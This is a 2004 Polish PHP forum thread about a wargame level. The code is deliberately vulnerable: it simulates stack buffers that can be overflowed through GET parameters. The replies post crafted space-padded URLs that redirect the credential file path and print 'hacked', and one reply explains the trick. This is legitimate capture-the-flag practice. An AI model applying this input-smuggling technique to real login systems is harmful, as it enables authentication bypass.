PHP: strefaphp.net
PHP: strefaphp.net



 
Czy odwiedziłeś już te strony? -
dodał: Vengeance

Temat: level8
Autor
Data: 04-08-2004 18:45
Vengeance
administrator

dołączył:
02-06-2004 

Kod:


<?php
class stos
{
   
/** Zmienne reprezentująca stos */
   
var $stos;

   
/** Tablica z danymi na temat zaalokowanych zmiennych */
   
var $allocate;
   
/** Ściąga coś ze stosu */
   
function pop($name)
   {
      return 
join(''array_splice($this->stos0$this->allocate[$name]));
   }

   
/** Kładzie coś na stos */
   
function push($name$str)
   {
      
$str preg_split('//'$str);
      
$str array_pad($str$this->allocate[$name], '');
      
$this->stos array_merge($str$this->stos);
   }

   function 
alloc($name$size)
   {
      
$this->allocate[$name] = $size;
   }
}
/**
*
*/
define('FILE''auth-users-file.php');

$buff = new stos();

$buff->alloc('filedir'64);
$buff->alloc('username'128);
$buff->alloc('password'128);

$buff->push('filedir'FILE);
$buff->push('username'$_GET['username']);
$buff->push('password'$_GET['password']);

$password trim($buff->pop('password'));
$username trim($buff->pop('username'));
$filedir  trim($buff->pop('filedir'));

$fd = @fopen($filedir'r');
if (
$fd)
{
   
fscanf($fd,"%s %s",$user,$pass);
   
fclose($fd);

   if ((
$username==$user) && ($password==$pass) && ($username!="") && ($password!=""))
   {
      echo 
'hacked';
   }
   else
   {
      echo 
'try again';
   }
}
else
{
   echo 
"Cannot open a file. ($filedir)";
}
?>



Cel :
uzyskać napis hacked pod tym adresem:
http://phpworld.glt.pl/war/level8.php

PS. nieprzejmujcie się wielkością kodu. level jest naprawdę interesujący i zachęcam do spróbowania swoich sił ;]

PHP Portfolio
devblog
Imprezy Łódź 
Cytuj   Profil Email Strona www 
Autor
Data: 04-08-2004 23:40
rant

dołączył:
04-08-2004 
rozwiązanie przedtawia link poniżej:

http://vengeance.r4m80.cjb.net/war/level8.php?username=%
20%20%20%20%20%20%20%20%20%20%20%20%20%
20%20%20%20%20%20%20%20%20%20%20%20%20%
20%20%20%20%20test%20%20%20%20%20%20%20%20%
20%20%20%20%20%20%20%20%20%20%20%20%20%
20%20%20%20%20%20%20%20%20%20%20%20%20%
20%20%20%20%20%20%20%20%20%20%20%20%20%
20%20%20%20%20%20%20%20%20%20%20%20%20%
20%20%20%20%20%20%20%20%20%20%20%20%20%
20%20%20%20%20%20%20%20%20%20%20%20%20%
20%20%20%20%20%20%20%20%20%20%20%20%20%
20przyklad-lvl8.txt%20%20%20%20%20%20%20%20%20%
20%20%20%20%20%20%20%20%20%20%20%20%20%
20%20%20%20%20%20%20%20%20%20%20%20%20%
20%20%20%20%20%20%20%20%20%20%20%20%20%
20%20%20%20%20%20%20%20%20%20%20%20%20%
20%20%20%20%20%20%20%20%20%20%20%20%20%
20%20%20%20%20%20%20%20%20%20%20%20%20%
20%20%20%20%20&password=%20%20%20%20%20%20%
20%20%20%20%20%20%20%20%20%20%20%20%20%
20%20%20%20%20%20%20%20%20hack

odpowiednie przepelnienie bufora spowodowalo ze dane znalazly sie w odpowiednich miejscach, tzn skorzystalem z pliku przyklad-lvl8.txt jako plik z haslem, wiec login byl test a haslo hack, zastosowalem spacje poniewaz dane z bufora sa trimowane wiec usuwana sa niepotrzebne spacje i pozostaja tylko dane ktore nas interesuja :)

pozdr

poprawilem link bo rozwalal forum ;]

// Edytowany 04-08-2004 23:46 przez Vengeance

--
'Małe szanse są często początkiem wielkich przedsięwzięć.' :: Demostenes 
Cytuj   Profil Email Strona www 
Autor
Data: 04-08-2004 23:41
rant

dołączył:
04-08-2004 
sorki ze takim linkiem popsulem cala strone...
ale nie moge teraz tego wydytowac...

--
'Małe szanse są często początkiem wielkich przedsięwzięć.' :: Demostenes 
Cytuj   Profil Email Strona www 
Autor
Data: 04-08-2004 23:57
Vengeance
administrator

dołączył:
02-06-2004 
Co prawda ten link jakoś nie działa w 100% przynajmniej mi
ale po opisie widać, że wiesz co i jak więc uznaje ;]

http://vengeance.r4m80.cjb.net/war/level8.php?username=test%20%20%20%20%20%20%20%20%20%20
%20%20%20%20%20%20%20%20%20%20%20%20%20
%20%20%20%20%20%20%20%20%20%20%20%20%20
%20%20%20%20%20%20%20%20%20%20%20%20%20
%20%20%20%20%20%20%20%20%20%20%20%20%20
%20%20%20%20%20%20%20%20%20%20%20%20%20
%20%20%20%20%20%20%20%20%20%20%20%20%20
%20%20%20%20%20%20%20%20%20%20%20%20%20
%20%20%20%20%20%20%20%20%20%20%20%20%20
%20%20%20%20%20%20%20%20%20%20%20%20%20
%20przyklad-lvl8.txt%20%20%20%20%20%20%20%20
%20%20%20%20%20%20%20%20%20%20%20%20%20
%20%20%20%20%20%20%20%20%20%20%20%20%20
%20%20%20%20%20%20%20%20%20%20%20
%20&password=hack

to mój działający link ;]

PHP Portfolio
devblog
Imprezy Łódź 
Cytuj   Profil Email Strona www 
Autor
Data: 05-08-2004 00:02
rant

dołączył:
04-08-2004 

Vengeance napisał:
Co prawda ten link jakoś nie działa w 100% przynajmniej mi
ale po opisie widać, że wiesz co i jak więc uznaje ;]


eee dziwne, u mnie na mozilli dziala prawidlowo
moze zle skopiowales linka :)

pozdr

--
'Małe szanse są często początkiem wielkich przedsięwzięć.' :: Demostenes 
Cytuj   Profil Email Strona www 

 

Polecamy
PHP: strefaphp.net
wyślij email informacje forum download skrypty katalog kursy porady artykuły home współpraca reklama kontakt